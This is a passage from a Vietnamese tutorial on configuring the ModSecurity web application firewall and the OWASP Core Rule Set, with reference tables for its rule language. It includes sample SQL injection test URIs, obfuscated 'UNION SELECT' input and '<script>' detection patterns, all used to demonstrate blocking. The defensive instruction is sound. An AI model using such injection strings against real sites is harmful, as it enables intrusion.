SecUploadDir /opt/modsecurity/var/upload/
# By default, do not intercept (nor store) uploaded files.
SecUploadKeepFiles Off
Debug Log
Debug log sẽ hỗ trợ quản người trị trong việc theo dõi hoạt động của ModSecurity. Log level
trong phần này được khuyến cáo thiết lập ở mức 3, nhằm giới hạn việc tăng kích thước của log
mà vẫn bảo đảm cho việc theo dõi hệ thống.
# Debug log
SecDebugLog /opt/modsecurity/var/log/debug.log
SecDebugLogLevel 3
Audit Log
Audit log được sử dụng với mục đích ghi lại các phiên (transaction) làm việc. Audit log có 3
mức độ khác nhau để chỉ định cách thức hoạt động trong ModSecurity: SecAuditEngineare On
(ghi log tất cả phiên làm việc), Off (tắt audit log) và RelevantOnly (chỉ ghi log dựa vào mẫu mà
người dùng chỉ định).
# Thực hiện ghi log cho các yêu cầu có mã lỗi từ 500-599 (lỗi từ phía server).
RelevantOnly
SecAuditLogRelevantStatus ^5
# Use a single file for logging.
SecAuditLogType Serial
SecAuditLog /opt/modsecurity/var/log/audit.log
# Specify the path for concurrent audit logging.
20
SecAuditLogStorageDir /opt/modsecurity/var/audit/
Default Rule Match Policy
Phần cấu hình rule mặc định cho ModSecurity là khá quan trọng, vì phần này sẽ quyết định
hệ thống mà bạn sẽ theo dõi có bị bỏ sót các tấn công trong trường hợp các tập rule không thể
phát hiện được. Tuy nhiên, ModSecurity khuyến cáo bạn nên cấu hình không nên chặn tất cả
các kết nối khi ModSecurity hoạt động.
SecDefaultAction "phase:1,log,auditlog,pass"
Verifying Installation
Sau khi hoàn thành phần cấu hình, tôi sẽ kiểm tra hoạt động của ModSecurityuriy bằng một
rule đơn giản như sau:
#vi /opt/modsecurity/etc/rules.conf
SecRule REQUEST_URI "dangerous" "id:'900721'phase:1,deny,status:406"
Rule trên hoạt động trong trường hợp khi một người dùng cố truy cập vào URI có chứa mẫu
dangerous, thì Modsecurity sẽ trả về mã lỗi 406.
[root@mod_security ~]# curl -I http://www.ModSecurity.com/dangerous
HTTP/1.1 406 Not Acceptable
Date: Thu, 30 May 2013 22:56:06 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1
VIII. OWASP MODSECURITY CORE RULE SET
Giới thiệu
ModSecurity sau khi đã được cài đặt thành công cần được cấu hình các tập rule để có thể
hoạt động như một WAF. Tuy nhiên, việc tự viết và triển khai các rule là khá phức tạp và tốn
thời gian để tối ưu các chức năng trong rule.
Nhóm nghiên cứu Truswave SpiderLabs đã phát triển một nhóm các tập lệnh có tên là
OWASP ModSecurity CRS, bao gồm các nội dung gói tin của kiểu tấn công đã được biết đến.
Một tính năng mạnh mẽ của CRS là có thể bảo vệ những ứng dụng web phổ biến cũng như
những ứng dụng web tự phát triển riêng biệt.
Nhằm mục đích bảo vệ các ứng dụng web phổ biến, CRS phân loại nội dung các rule dựa
trên các phương pháp tấn công:
• HTTP Protection: phát hiện các nguy cơ dựa trên giao thức HTTP như Method (
GET HEAD POST …), phiên bản HTTP ( 1.0, 1.1)
• Real-time Blacklist Lookups: lọc các dãy IP nguy hiểm dựa vào một bên thứ 3.
21
• Web-based Malware Detection: xác địnhcác mã độc trong nội dung trang web
bằng cách sử dụng Google Safe Browsign API.
• HTTP Denial of Service Protections: chống lại dạng tấn công từ chối dịch vụ
như HTTP Flooding và Slow HTTP DoS.
• Common Web Attacks Protection: phát hiện một số dạng tấn công phổ biếtn
vào ứng dụng web Automation Detection: phát hiện các bots, crawler, chương trình quét
(scanner) và các hoạt động thu thập thông tin.
• Integration with AV Scanning for File Uploads: phát hiện các mã độc,
webshell, 0days thông qua các chức năng upload tập tin.
• Tracking Sensitive Data: theo dõi các hoạt động và chặn lộ thông tin thẻ tín
dụng (trong trường hợp website có hoạt động thương mại điện tử).
• Trojan Protection: phát hiện các mẫu trojan.
• Identification of Application Defects: cảnh báo các lỗi trong quản lý cấy hình
ứng dụng webserver.
• Error Detection and Hiding: gởi các mã thông báo lỗi giả về phía người dùng.
Triển khai OWASP ModSecurityCRS
Tiến hành tải gói tin SpiderLabs-owasp-modsecurity-crs phiên bản mới nhất tại:
Định dạng Liên kết
GitHub
Repository
https://github.com/SpiderLabs/owasp-modsecurity-crs
TAR/GZ
Archive
https://github.com/SpiderLabs/owasp-modsecurity-crs/tarball/master
ZIP
Archive
https://github.com/SpiderLabs/owasp-modsecurity-crs/zipball/master
#tar xvf SpiderLabs-owasp-modsecurity-crs-2.2.7-28-g9a715d8.tar.gz
#cd SpiderLabs-owasp-modsecurity-crs-2.2.7-28-g9a715d8
#cp modsecurity_crs_10_setup.conf.example
/opt/modsecurity/etc/modsecurity_crs_10_setup.conf
#mkdir -p /opt/modsecurity/etc/crs/activated_rules
#cp base_rules/* /opt/modsecurity/etc/crs/activated_rules/
#vi /etc/httpd/conf.d/modsecurity.conf
<IfModule mod_security2.c>
#START COMMON CONFIGURATION
Include /opt/modsecurity/etc/main.conf
#Include /opt/modsecurity/etc/rules-first.conf
22
#Include /opt/modsecurity/etc/rules.conf
#Include /opt/modsecurity/etc/rules-last.conf
#STOP COMMON CONFIGURATION
#START OWASP MODSECURITY CORE RULE SET
Include /opt/modsecurity/etc/modsecurity_crs_10_setup.conf
Include /opt/modsecurity/etc/crs/activated_rules/*.conf
#STOP OWASP MODSECURITY CORE RULE SET
</IfModule>
#/etc/init.d/httpd restart
Kiểm tra kết quả
Ta thực hiện kiểm tra tấn công SQL injection với URI sau trong trường hợp trước và sau khi
triển khai OWASP CRS: http://www.modsec.com/?p=1%20order%20by%201,2,4
Hình 4: Tấn công SQLI trước khi triển khai OWASP CRS
23
Hình 5:Tấn công SQLI sau khi triển khai OWASP CRS
Cảnh báo ghi nhận tấn công:
[Tue Jun 04 18:40:39 2013] [error] [client 192.168.149.1] ModSecurity: Access denied with
code 403 (phase 2). Pattern match
"\\\\b(?i:having)\\\\b\\\\s+(\\\\d{1,10}|'[^=]{1,10}')\\\\s*?[=<>]|(?i:\\\\bexecute(\\\\s{1,5}[\\\\w\\\
\.$]{1,5}\\\\s{0,3})?\\\\()|\\\\bhaving\\\\b ?(?:\\\\d{1,10}|[\\\\'\\"][^=]{1,10}[\\\\'\\"])
?[=<>]+|(?i:\\\\bcreate\\\\s+?table.{0,20}?\\\\()|(?i:\\\\blike\\\\W*?char\\\\W*?\\\\()|(?i:(?:(select(
.* ..." at ARGS:p. [file
"/opt/modsecurity/etc/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"]
[line "130"] [id "959070"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: order
by found within ARGS:p: 1 order by 1,2,4"] [severity "CRITICAL"] [ver
"OWASP_CRS/2.2.7"] [maturity "9"] [accuracy "8"] [tag
"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag
"OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname
"www.modsec.com"] [uri "/"] [unique_id "Ua3SN38AAAEAAAcbBfsAAAAA"]
IX. TỔNG QUAN VỀ RULE
Giới thiệu
Modsecurity định nghĩa 9 loại chỉ thị để người dùng có thể triển khai các tính năng lọc linh
động cho hệ thống web.
Directive Description
SecAction Performs an unconditional action. This directive is
essentially a rule that always matches.
SecDefaultAction Specifies the default action list, which will be used in
the rules that follow.
SecMarker Creates a marker that can be used in conjunction with
the skipAfteraction. A marker creates a rule that does
nothing, but has an ID assigned to it.
24
SecRule Creates a rule.
SecRuleInheritance Controls whether rules are inherited in a child
configuration context.
SecRuleRemoveById Removes the rule with the given ID.
SecRuleRemoveByMsg Removes the rule whose message matches the given
regular expression.
SecRuleScript Creates a rule implemented using Lua.
SecRuleUpdateActionB
yId
Updates the action list of the rule with the given ID.
SecRuleUpdateTargetB
yId
Updates the target list of the rule with the given ID.
Cú pháp rule trong ModSecurity:
SecRule VARIABLES OPERATOR [TRANSFORMATION_FUNCTIONS, ACTIONS]
Trong một rule ModSecurity có 4 thành phần, trong đóhai thành phần cuối của cú pháp là
tùy chọn.Nếu trong một rule mà bạn định nghĩa không sử dụng 2 thành phần
TRANSFORMATION_FUNCTIONS và ACTIONS thì ModSecurity sẽ dùng các giá trị mặc
định được thiết lập trong SecDefaultAction.
Biến (Variables)
Trong ModSecurity, biến được sử dụng cho việc trích xuất (etract) các thành phần khác nhau
của gói tin HTTP. được Bạn cần chú ý rằng các dữ liệu tương tác trong quá trình hoạt động của
ModSecurity là dữ liệu thô (raw bytes of data) bao gồm các ký tự đặc biệt. Mặc dù ứng dụng
web mà bạn xây dựng chỉ tương tác với các dữ liệu dạng văn bản (text), nhưng bạn không thể
chắc chắn được chuyện gì đang xảy ra nếu như các đối thủ sử dụng những cách để vượt qua các
kiểm soát logic.
Trong phiên bản hiện tại, ModSecurity đã hỗ trợ 77 loại biến khác nhau để tăng tính linh
động chống lại các kiểu khai thác nâng cao.
Operators
Tại mục này, ModSecurity sẽ xác định các thức mà một biến được xử lý. Các regular
expresstion được sử dụng phổ biến, tuy nhiên ModSecurity định nghĩa sẵn các operator nhằm
hỗ trợ bạn có thể tự xây dựng một rule cho mục đích cá nhân.
Transformation_functions
Chức năng này cho phép chuyển đổi dữ liệu đầu vào trước khi đưa qua cơ chế kiểm tra
(chuyển chữ hoa thành chữ thường, decode base64 …)
Actions
Chỉ rõ hành động sẽ thực hiện khi một rule đã được so trùng mẫu.
25
Variables
Có 77 loại biến trong phiên bản ModSecurity hiện tại và chúng được phân loại như sau:
Scalar variables: Chứa một phần thông tin dữ liệu, có thể là chuỗi hoặc số. Ví dụ,
REMOTE_ADDR luôn chứa địa chỉ IP của người dùng,
Collections: Nhóm các biến lại với nhau thành một nhóm.
Read-only collections: Nhóm các biến không thể thay đổi trong quá trình thực hiện tương
tác giữa ModSecurity và Apache.
Read/write collections: Nhóm này được sử dụng trong trường hợp bạn cần triển khai các
rule có sự thay đổi trong dữ liệu đầu vào.
Special collections: Nhóm các biến đặc biệt được dùng trong việc trích xuất dữ liệu đầu vào
dưới dạng XML.
Persistent collections: Khi các rule sử dụng các thành phân trong nhóm này, thì dữ liệu sẽ
được lưu trữ trong cơ sở dữ liệu nội bộ của ModSecurity. Trong các tác vụ như theo dõi IP,
phiên làm việc hoặc theo dõi người dùng đăng nhập thì việc lưu trữ sẽ được sử dụng.
Request variables
Các biến trong phân nhóm này chịu trách nhiệm trích xuất các giá trị trong HTTP request
header để đưa vào phần phân tích. Các trường giá trị ModSecurity hỗ trợ trong các biến được
thu thập từ các URI, method (GET HEAD POST PUT …), protocol information ( HTTP 1.1,
HTTP 1.0).
Bảng sau liệt kê các giá trị biến (Request variable) mà ModSecurity hỗ trợ:
Variable Description
ARGS Request parameters (read-only collection)
ARGS_COMBINED_SIZE Total size of all request parameters combined
ARGS_NAMES Request parameters‟ names (collection)
ARGS_GET Query string parameters (read-only collection)
ARGS_GET_NAMES Query string parameters‟ names (read-only collection)
ARGS_POST Request body parameters (read-only collection)
ARGS_POST_NAMES Request body parameters‟ names (read-only collection)
FILES File names (read-only collection)
FILES_COMBINED_SIZE Combined size of all uploaded files
FILES_NAMES File parameter names (read-only collection)
FILES_SIZES A list of file sizes (read-only collection)
FILES_TMPNAMES A list of temporary file names (read-only collection)
PATH_INFO Extra path information
QUERY_STRING Request query string
REMOTE_USER Remote user
REQUEST_BASENAME Request URI basename
REQUEST_BODY Request body
26
REQUEST_COOKIES Request cookies (read-only collection)
REQUEST_COOKIES_NAM
ES
Request cookies‟ names (read-only collection)
REQUEST_FILENAME Request URI file name/path
REQUEST_HEADERS Request headers (collection, read-only)
REQUEST_HEADERS_NAM
ES
Request headers‟ names (read-only collection)
REQUEST_LINE Request line
REQUEST_METHOD Request method
REQUEST_PROTOCOL Request protocol
REQUEST_URI Request URI, convert to exclude hostname
REQUEST_URI_RAW Request URI, as it was presented in the request
Server variables
Các biến trong phân nhóm này dùng phân tích các thành phần do người dùng gởi đến máy
chủ, và một số khác liên quan đến dữ liệu trả về người dùng.
Bảng sau liệt kê các giá trị biến (server variable) mà ModSecurity hỗ trợ:
Variable Description
AUTH_TYPE Authentication type
REMOTE_ADDR Remote address
REMOTE_HOST Remote host
REMOTE_PORT Remote port
SCRIPT_BASENAME Script basename
SCRIPT_FILENAME Script file name/path
SCRIPT_GID Script group ID
SCRIPT_GROUPNAM
E
Script group name
SCRIPT_MODE Script permissions
SCRIPT_UID Script user ID
SCRIPT_USERNAME Script user name
SERVER_ADDR Server address
SERVER_NAME Server name
SERVER_PORT Server port
Response variables
Các biến trong phân nhóm này được dùng cho việc xác định các dữ liệu trả về người dùng.
Phần lớn các giá trị này được sử dụng trong pha thứ 3 Response headers (3). Một số thành phần
liên quan đến nội dung gói tin HTTP (body) thì sẽ được dùng trong pha thứ 4 Response body
(4).
Bảng sau liệt kê các giá trị biến (respone variable) mà ModSecurity hỗ trợ:
Variable Description
27
RESPONSE_BODY Response body
RESPONSE_CONTENT_LENG
TH
Response content length
RESPONSE_CONTENT_TYPE Response content type
RESPONSE_HEADERS Response headers (read-only collection)
RESPONSE_HEADERS_NAME
S
Response headers‟ names (read-only collection)
RESPONSE_PROTOCOL Response protocol
RESPONSE_STATUS Response status code
Miscellaneouse variables
Bảng sau liệt kê các giá trị biến (miscellaneouse variable) mà ModSecurity hỗ trợ:
Variable Description
HIGHEST_SEVERITY Highest severity encountered
MATCHED_VAR Contents of the last variable that matched
MATCHED_VARS Contents of all variables that matched int the most
recent rule
MATCHED_VARS_NAM
ES
Names of all variables that matched in the most recent
rule
MATCHED_VAR_NAME Name of the last variable that matched
MODSEC_BUILD ModSecurity build version (e.g., 02050102)
SESSIONID Session ID associated with current transaction
UNIQUE_ID Unique transaction ID generated by mod_unique_id
USERID User ID associated with current transaction
WEBAPPID Web application ID associated with current transaction
WEBSERVER_ERROR_L
OG
Error messages generated by Apache during current
transaction
Parsing flags
Variable Description
MULTIPART_BOUNDARY_QUOTED Multipart parsing error: quoted boundary
encountered
MULTIPART_BOUNDARY_WHITESPACE Multipart parsing error: whitespace in
boundary
MULTIPART_CRLF_LF_LINES Multipart parsing error: mixed line
endings used
MULTIPART_DATA_BEFORE Multipart parsing error: seen data before
first boundary
MULTIPART_DATA_AFTER Multipart parsing error: seen data after
last boundary
28
MULTIPART_FILE_LIMIT_EXCEEDED Multipart parsing error: too many files
MULTIPART_HEADER_FOLDING Multipart parsing error: header folding
used
MULTIPART_INVALID_HEADER_FOLDI
NG
Multipart parsing error: invalid header
folding encountered
MULTIPART_LF_LINE Multipart parsing error: LFline ending
detected
MULTIPART_MISSING_SEMICOLON Multipart parsing error: missing
semicolon before boundary
MULTIPART_STRICT_ERROR At least one multipart error except
unmatched boundary occurred
MULTIPART_UNMATCHED_BOUNDARY Multipart parsing error: unmatched
boundary detected
REQBODY_PROCESSOR Request processor that handled request
body
REQBODY_PROCESSOR_ERROR Request processor error flag (0or 1)
REQBODY_PROCESSOR_ERROR_MSG Request processor error message
Collections variables
Các biến trong nhóm này có thể chứa biến của các nhóm khác, nhằm phục vụ việc thu thập
dữ liệu để đưa qua cơ chế phân tích hành vi trong ModSecurity.
Variable Description
ENV Environment variables (read-only collection,
although it‟s possible to use setvar
GEO to change it)
GLOBAL Geo lookup information from the last
@geoLookupinvocation (read-only collec
IP tion)
TX Global information, shared by all processes
(read/write collection)
RULE IP address data storage (read/write collection)
SESSION Transient transaction data (read/write
collection)
USER Current rule metadata (read-only collection)
XML Session data storage (read/write collection)
Time variables
Các biến về thời gian dùng để xác định thời gian khi một phiên làm việc trên ModSecurity
được thực hiện.
Variable Description
TIME Time (HH:MM:SS)
TIME_DAY Day of the month (1–31)
TIME_EPOCH Seconds since January 1, 1970 (e.g.,
29
1251029017)
TIME_HOUR Hour of the day (0–23)
TIME_MIN Minute of the hour (0–59)
TIME_MON Month of the year (0–11)
TIME_SEC Second of the minute (0–59)
TIME_WDAY Week day (0–6)
TIME_YEAR Year
Operators
Các toán tử kiểm tra trong ModSecurity có nhiệm vụ phân tích các biến đầu vào Variables để
ra quyết định. Hầu hết các rule sẽ sử dụng các regular expression cho việc phân tích, nhưng
trong một số trường hợp cụ thể thì các phân nhóm toán tử khác sẽ hữu ích hơn.
Ta xét trường hợp cần so sánh các giá trị là số (numberic) thì việc sử dụng Regular
expression là khá bất lợi cho việc tạo rule và tài nguyên khi thực thi so sánh rule. ModSecurity
hỗ trợ một nhóm phương thức so sánh khác nhau nhằm tăng hiệu năng cho phần kiểm tra.
Trong trường hợp này thì việc sử dụng các toán tử về số học sẽ hiệu quả hơn nhiều so với
regular expression.
ModSecurity hỗ trợ 4 nhóm:
• String–matching operators
• Numerical operators
• Validation operators
• Miscellaneous operators
String–matching operators
Các toán tử so trùng chuỗi được dùng phân tích các đầu dữ liệu vào từ các biến. Toán tử @rx
và @pm thường được sử dụng nhiều trong các rule phân tích, bởi vì tính linh động của @rx và
tốc độ xử lý của @pm. Trong một số trường hợp khác thì các toán tử còn lại sẽ hỗ trợ bạn phát
triển các rule tùy theo mục đích chi tiết.
Operator Description
@beginsWith Input begins with parameter
@contains Input contains parameter
@endsWith Input ends with parameter
@rsub Manipulation of request and response bodies
@rx Regular pattern match in input
@pm Parallel pattern matching
@pmFromFile(also @pmfas of
2.6)
Parallel patterns matching, with patterns read
from a file
@streq Input equal to parameter
@within Parameter contains input
30
Numerical operators
Trong bảng dưới liệt kê các toán tử hỗ trợ so sánh các giá trị số.Trong phiên bản
ModSecurity trước 2.5.12 thì việc so sánh các giá trị số học phải thông qua regular expression,
việc này làm ảnh hưởng lớn đến hiệu năng hoạt động của server.
Operator Description
@eq Equal
@ge Greater or equal
@gt Greater than
@le Less or equal
@lt Less than
Validation operators
Các toán tử kiểm tra mà ModSecurity hỗ trợ được liệt kê trong bảng sau:
Operator Description
@validateByteRange Validates that parameter consists only of
allowed byte values
@validateDTD Validates XML payload against a DTD
@validateSchema Validates XML payload against a schema
@validateUrlEncoding Validates an URL-encoded string
@validateUtf8Encoding Validates an UTF-8-encoded string
Miscellaneous operators
Và phân nhóm operator cuối cùng mà ModSecurity hỗ trợ cho phép bạn tạo ra một số rule
với các chức năng lọc khá hữu dụng như: phát hiện lộ thông tin credit card (@verifyCC), kiểm
tra vùng địa lý của IP người dùng (@geoLookup), kiểm tra lộ thông tin số an sinh xã hội
(@verifySSN )…
Operator Description
@geoLookup Determines the physical location of an IP
address
@inspectFile nvokes an external script to inspect a file
@rbl Looks up the parameter against a RBL (real-
time block list)
@verifyCC Checks whether the parameter is a valid credit
card number
@verifyCPF Checks whether the parameter is a valid
Brazilian social security number
@verifySSN Checks whether the parameter is a valid US
social security number
@ipMatch Matches input against one or more IP addresses
or network segments
31
@ipMatchFromFile( and @ip
MatchF), as of 2.7.0
As @ipMatch, but reads input from a file
Actions
Các hành vi (action) là điểm mạnh của ModSecurity cho phép hệ thống web có khả năng
miễn dịch với một số loại khai thác đã biết đến. Các action là thành phần cuối cùng trong một
rule, Apache sẽ quyết định kết quả trả về phía người dùng (thông báo lỗi, hủy kết nối hoặc cho
phép truy cập…)
ModSecurity chia các action thành 7 phân mục:
• Disruptive actions
• Flow actions
• Metadata actions
• Variable actions
• Logging actions
• Special actions
• Miscellaneous Actions
Disruptive actions
Trong phân nhóm này, các action được sử dụng nhằm mục đích ngăn chặn hoặc chuyển
hướng kết nối trong trường hợp ModSecurity phát hiện mẫu tấn công trùng khớp.
Action Description
allow Stop processing of one or more remaining
phases
block Indicate that a rule wants to block
deny Block transaction with an error page
drop Close network connection
pass Do not block, go to the next rule
pause Pause for a period of time, then execute allow.
proxy Proxy request to a backend web server
redirect Redirect request to some other web server
Flow actions
Action Description
chain Connect two or more rules into a single logical
rule
skip Skip over one or more rules that follow
skipAfter Skip after the rule or marker with the provided
ID
32
Metadata actions
Phân nhóm này cho phép bạn định nghĩa các thông tin mô tả về rule. Các thông tin này
thường được dùng để mô tả thông báo lỗi (error message), giải thích nguyên nhân xuất hiện lỗi
hoặc cách khắc phục đề nghị.
Action Description
id Assign unique ID to a rule
phase Phase for a rule to run in
msg Message string
rev Revision number
severity Severity
tag Tag
Variable actions
Cách hành vi trong nhóm này được liên hệ với các giá trị biến (Variables), các action này
cho phép gán giá trị (set), thay đổi (change) và xóa (remove) giá trị mà các biến lưu trữ.
Action Description
capture Capture results into one or more variables
deprecatevar Decrease numerical variable value over time
expirevar Remove variable after a time period
initcol Create a new persistent collection
setenv Set or remove an environment variable
setvar Set, remove, increment, or decrement a variable
setuid Associate current transaction with an
application user ID (username)
setsid Associate current transaction with an
application session ID
Logging actions
Các action trong phân nhóm ghi log chỉ dẫn ModSecurity phương thức và nơi lưu trữ log.
Các action ảnh hưởng đến việc ghi log trong rule là auditlog, log, noauditlog và nolog. Để điều
khiển quá trình ghi log, bạn cần tham khảo ctlaction.
Action Description
auditlog Log current transaction to audit log
log Log error message; implies auditlog
logdata Log supplied data as part of error message
noauditlog Do not log current transaction to audit log
nolog Do not log error message; implies noauditlog
sanitiseArg Remove request parameter from audit log
sanitiseMatched Remove parameter in which a match occurred
from audit log
sanitiseRequestHeader Remove request header from audit log
33
Special actions
Action Description
ctl Change configuration of current transaction
multiMatch Activate multi-matching, where an operator
runs after every transformation
t Specify transformation functions to apply to
variables before matching
Miscellaneous Actions
Action Description
append Append content to response body
exec Execute external script
prepend Prepend content to response body
status Specify response status code to use with
denyand redirect
xmlns Specify name space for use with XPath
expressions
X. RULE LANGUAGE TUTORIAL
Tổng quan
Trong phần hướng dẫn này, tôi sẽ bắt đầu với một rule đơn giản gồm một biến và một chuỗi
(string) như sau:
SecRule REQUEST_URI <script>
Với biểu thức so sánh như trên thì ModSecurity thực thi kiểm tra dữ liệu trong URI từ phía
người dùng và xác định có sự tồn tại của chuỗi <script> hay không. Tuy nhiên, bạn có thể sử
dụng thêm một operator vào rule trên để tăng hiệu quả kiểm tra trong ModSecurity, tôi sẽ viết
lại rule trên như sau:
SecRule REQUEST_URI "@rx <script>"
ModSecurity hỗ trợ nhiều loại operator khác nhau.Một số có cùng chức năng, nhưng các
operator sẽ có ảnh hưởng khác nhau đến hiệu suất của hệ thống. Trong ví dụ tôi đưa ra thì
chuỗi <script> không phải là một biểu thức so sánh, bởi vì chúng không chứa ký tự đặc biệt để
xác định đây là một mẫu biểu thức. Tôi có thể viết lại rule trên bằng các sử dụng @contains để
tối ưu:
SecRule REQUEST_URI "@contains <script>"
Hướng dẫn sử dụng biến (variable)
Trong một rule, bạn có thể sử dụng nhiều biến khác nhau bằng cách dùng ký tự pipe “|” để
phân cách:
SecRule REQUEST_URI|REQUEST_PROTOCOL <script>
34
Nhóm các biến được dùng trong một rule được gọi là collection. Trên thực tế, các rule được
viết có thể chứa nhiều hơn một thành phần tham số (parameter), ta có thể dùng dấu hai chấm
“:” để phân cách biến và tên của tham số.
SecRule ARGS:p <script>
SecRule ARGS:p|ARGS:q <script>
Ta có thể sử dụng cấu trúc như ví dụ trên để so trùng bằng mẫu biểu thức, ví dụ bên dưới sẽ
tìm chuỗi <script> trong các tham số bắt đầu bằng ký tự p:
SecRule ARGS:/^p/ <script>
Biến ARGS mặc định sẽ theo dõi tất cả các tham số nếu bạn không chỉ định tên tham số
hoặc biểu thức mẫu. Việc liệt kê các tham số giúp giảm thiểu tài nguyên hệ thống và năng hiệu
suất theo dõi của ModSecurity. Trong một số trường hợp, bạn có thể sử dụng toán tử phủ định
(operator negation) để loại bỏ một nhóm biến trong rule, bằng cách thêm dấu chấm than vào
trước nhóm biết mà bạn không sử dụng:
SecRule ARGS|!ARGS:z <script>
Hướng dẫn sử dụng liên kết rule (chain)
ModSecurity cho phép bạn liên kết các SecRule riêng lẽ với nhau thành một SecRule duy
nhấtthông quan từ khóa chain. Liên kết các rule sẽ giảm thiểu các tình huống cảnh báo không
chính xác, giúp bạn đơn giản hóa việc viết rule trong trường hợp cần kiểm tra các điều kiện
mang tính chất tuần tự.
Trong ví dụ bên dưới, ModSecurity sẽ luôn thực hiện kiểm tra SecRule đầu tiên (kiểm tra
tham số p), nếu xảy ra trường hợp có dữ liệu trùng khớp thì rule tiếp theo (kiểm tra tham số q)
sẽ được kiểm tra.
SecRule ARGS:p <script> chain
SecRule ARGS:q <script>
Hướng dẫn sử dụng toán tử phủ định
ModSecurity cho phép bạn sử dụng phương pháp phủ định một thành phần bất kỳ trong rule.
Giả sử bạn muốn triển khai một rule có chức năng theo dõi người dùng đăng nhập ngoại trừ
user admin và root, ta có thể viết như sau:
SecRule ARGS:username "!@rx ^(admin|root)$"
Trong rule SecRule ARGS:p|ARGS:q "!@eq 5" thì ModSecurity sẽ trùng khi có một trong
hai tham số p hoặc q có giá trị bằng 5. Trường hợp bạn cần kiểm tra tham số p và q có giá trị
bằng 5 thì ta sử dụng từ khóa chain:
SecRule ARGS:p "!@eq 5" chain
SecRule ARGS:q "!@eq 5"
35
Variable Counting
Bằng cách thêm ký tự “&” vào trước biến trong rule, bạn có thể thực hiện công việc đếm số
lần xuất hiện của một biến.
Trong rule bên dưới, ModSecurity thực hiện kiểm tra trong trường hợp tồn tại một tham số
username:
SecRule &ARGS:username "@eq 1"
Để kiểm tra trong trường hợp có nhiều hơn một tham số username, ta viết lại rule như sau:
SecRule &ARGS:username "!@eq 1"
Hướng dẫn về action
Hành vi (action) là thành phần thứ ba trong chỉ thị SecRule và là thành phần thứ nhất trong
chỉ thị SecAction. Một rule có thể không tồn tại action hoặc nhiều hơn một action. Nếu ta sử
dụng nhiều action trong một rule, ta có thể phân cách bằng dấu phẩy “,” hay khoảng trắng giữa
các action. Trong rule bên dưới, ta sử dụng 2 action là log và deny:
SecRule ARGS K1 log,deny
Một số action trong ModSecurity yêu cầu có tham số khi sử dụng. Trong trường hợp này, ta
cần phân cách action và tham số bởi dấu “:” . Một ví dụ về việc sử dụng hành vị deny các yêu
cầu đến server và gây lỗi “404 Not found”:
SecRule ARGS K1 log,deny,status:404
Một phần cần lưu ý đối với các hành vi có tham số chứa khoảng trắng hoặc ký tự “,” , bạn
nên chắc chắn rằng các tham số này được đặt trong một cặp dấu ngoặc đơn „‟.
SecRule ARGS K1 "log,deny,msg:'Acme attack detected'"
Action Defaults
ModSecurity định nghĩa một ngữ cảnh được gọi là default action list (tạm dịch: danh sách
các hành vi mặc định), nhằm thực hiện chèn các giá trị này vào những rule không được chỉ
định action.
Giả sử, sau khi thực hiện cấu hình trong tập tin main.conf của ModSecurity, giá trị của
SecDefaultAction là phase:2,log,auditlog,pass. Ta có một rule đơn giản không được chỉ định
action:
SecRule ARGS K1
Khi ModSecurity hoạt động, thì rule trên sẽ được hiểu như sau:
SecRule ARGS K1 phase:2,log,auditlog,pass
Bằng cách này, ModSecurity giúp bạn triển khai một rule dễ dàng hơn mà không cần phải
chỉ định một action lặp lại nhiều lần:
SecDefaultAction phase:2,log,deny,status:404
36
SecRule ARGS K1
SecRule ARGS K2
...
SecRule ARGS K99
Unconditional Rules
Hành vi mà bạn thiết lập trong chỉ thị SecRule sẽ được thực hiện khi có mẫu trùng khớp với
các biểu thức, nhưng bạn cũng có thể sử dụng chỉ thị SecAction để triển khai các hành vi
(action) mà bạn định nghĩa sẵn. Chỉ thị SecAction cho phép chứa duy nhất một tham số
(parameter), tham số này được dùng để liên kết với thành phần thứ ba trong chỉ thị SecRule.
SecAction nolog,pass,setvar:tx.counter=10
Using Transformation Functions
Trong các phương pháp khai thác lỗ hổng ứng dụng web, hacker thường sử dụng các kỹ
thuật biến đổi dữ liệu (obfuscation) để vượt qua cơ chế kiểm tra. Để chống lại phương pháp
biến đổi, ModSecurity hỗ trợ chuyển đổi dữ liệu đầu vào trước khi thực hiện kiểm tra các tấn
công. Ví dụ:
Trong tấn công SQL Injection thì hacker thực hiện câu truy vấn:
“id=1&UniON%20SeLeCT%201,2,3,4,5,6” (trong trường hợp này ta cần chuyển đổi các ký tự
sang chữ thường (lowercase) trước khi kiểm tra)
Hoặc trong rule bên dưới, ModSecurity sẽ thực hiện chuyển các ký tự thành chữ thường,
đồng thời loại bỏ các ký tự khoảng trắng không cần thiết:
SecRule ARGS "@contains delete from" \
phase:2,t:lowercase,t:compressWhitespace,block
Kết quả mà ModSecurity sẽ thực hiện là lọc những từ khóa có dạng:
delete from
DELETE FROM
deLeTe fRoM
Delete From
DELETE\tFROM –
Một số lý do bạn cần sử dụng chức năng chuyển đổi:
Với các khai thác sử dụng phương pháp encode base64, ta có thể áp dụng
t:base64Decode để decode dữ liệu đầu vào.
Tương tự Base64, với trường hợp hacker chuyển đổi kiểu dữ liệu thành dạng Hex
thì t:hexEncode nên được sử dụng để chuyển đổi sang dạng Plaintext.
37
Blocking
Các chỉ thị sử dụng trong ModSecurity được liên kết duy nhất với một action (hoặc chỉ thị
SecAction) để xử lý kết quả đã phân tích trước đó. Có ba trạng thái mà ModSecurity hỗ trợ
trong việc ngăn chặn tấn công:
Chuyển tiếp sang rule tiếp theo.
Ngưng thực hiện pha hiện thời, nhưng tiếp tục thực hiện phiên trao đổi dữ liệu.
Ngưng thực hiện pha hiện thời, đồng thời ngừng trao đổi dữ liệu.
Changing Rule Flow
Giả sử trường hợp các rule trong ModSecurity được xử lý tuần tự từ rule đầu tiên đến rule
cuối cùng. Nếu có một giá trị trùng với mẫu so sánh, thì tiến trình kiểm tra trong các rule tiếp
sau đó nên được bỏ qua. Để thực hiện việc này, từ khóa skipcó thể được đưa vào sử dụng như
sau:
SecRule ARGS K1 id:1,nolog,pass,skip:2
SecRule ARGS K2 id:2,nolog,pass
SecRule ARGS K3 id:3,log,block
Với ví dụ trên, khi rule 1 trùng mẫu so sánh thì các rule tiếp sau sẽ không thực hiện kiểm tra.
Từ khóa skipthường được dùng như một phương pháp tối ưu hóa trong ModSecurity. Đôi
